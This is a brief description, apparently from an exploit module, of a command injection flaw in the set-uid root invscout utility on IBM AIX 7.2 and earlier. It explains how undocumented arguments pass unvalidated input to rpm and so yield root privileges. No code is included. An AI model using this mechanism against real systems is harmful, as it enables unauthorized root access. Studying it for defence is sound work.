          This module exploits a command injection vulnerability in IBM AIX
          invscout set-uid root utility present in AIX 7.2 and earlier.

          The undocumented -rpm argument can be used to install an RPM file;
          and the undocumented -o argument passes arguments to the rpm utility
          without validation, leading to command injection with effective-uid
          root privileges.

          This module has been tested successfully on AIX 7.2.
